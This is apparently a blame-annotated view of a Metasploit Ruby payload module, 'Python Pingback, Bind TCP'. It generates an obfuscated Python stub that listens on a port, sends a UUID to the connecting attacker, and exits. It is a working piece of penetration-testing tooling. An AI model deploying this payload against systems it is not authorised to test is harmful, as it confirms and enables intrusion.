2019-05-13 14:26:47 -05:00
|
|
|
module MetasploitModule
|
2022-11-05 15:58:10 -04:00
|
|
|
CachedSize = :dynamic
|
2019-05-13 14:26:47 -05:00
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2023-03-21 16:49:25 -04:00
|
|
|
include Msf::Payload::Python
|
2019-07-17 14:13:42 -05:00
|
|
|
include Msf::Payload::Pingback
|
2019-07-18 15:44:20 -05:00
|
|
|
include Msf::Payload::Pingback::Options
|
2019-05-13 14:26:47 -05:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2025-04-20 02:57:34 +10:00
|
|
|
super(
|
|
|
|
|
merge_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Python Pingback, Bind TCP (via python)',
|
|
|
|
|
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
|
|
|
|
|
'Author' => 'asoto-r7',
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'python',
|
|
|
|
|
'Arch' => ARCH_PYTHON,
|
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
|
'Session' => Msf::Sessions::Pingback,
|
|
|
|
|
'PayloadType' => 'python'
|
|
|
|
|
)
|
|
|
|
|
)
|
2019-05-13 14:26:47 -05:00
|
|
|
end
|
|
|
|
|
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2019-07-29 16:29:32 -05:00
|
|
|
super.to_s + command_string
|
2019-05-13 14:26:47 -05:00
|
|
|
end
|
2025-04-20 02:57:34 +10:00
|
|
|
|
2019-05-13 14:26:47 -05:00
|
|
|
def command_string
|
2025-04-20 02:57:34 +10:00
|
|
|
self.pingback_uuid ||= generate_pingback_uuid
|
2019-07-29 11:55:51 -05:00
|
|
|
cmd = <<~PYTHON
|
2019-07-30 10:18:03 -05:00
|
|
|
import binascii as b
|
2019-07-29 11:55:51 -05:00
|
|
|
import socket as s
|
2019-07-30 10:14:41 -05:00
|
|
|
o=s.socket(s.AF_INET,s.SOCK_STREAM)
|
2019-07-29 14:00:09 -05:00
|
|
|
try:
|
2019-07-30 10:14:41 -05:00
|
|
|
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
|
2025-04-20 02:57:34 +10:00
|
|
|
o.bind(('0.0.0.0', #{datastore['LPORT']}))
|
2019-07-30 10:14:41 -05:00
|
|
|
o.listen(1)
|
|
|
|
|
o,addr=o.accept()
|
2019-07-30 10:18:03 -05:00
|
|
|
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
|
2019-07-30 10:14:41 -05:00
|
|
|
o.close()
|
2019-07-29 14:00:09 -05:00
|
|
|
except:
|
2019-07-29 16:29:32 -05:00
|
|
|
pass
|
2019-07-29 11:55:51 -05:00
|
|
|
PYTHON
|
2022-11-05 15:49:51 -04:00
|
|
|
|
|
|
|
|
py_create_exec_stub(cmd)
|
2019-05-13 14:26:47 -05:00
|
|
|
end
|
|
|
|
|
end
|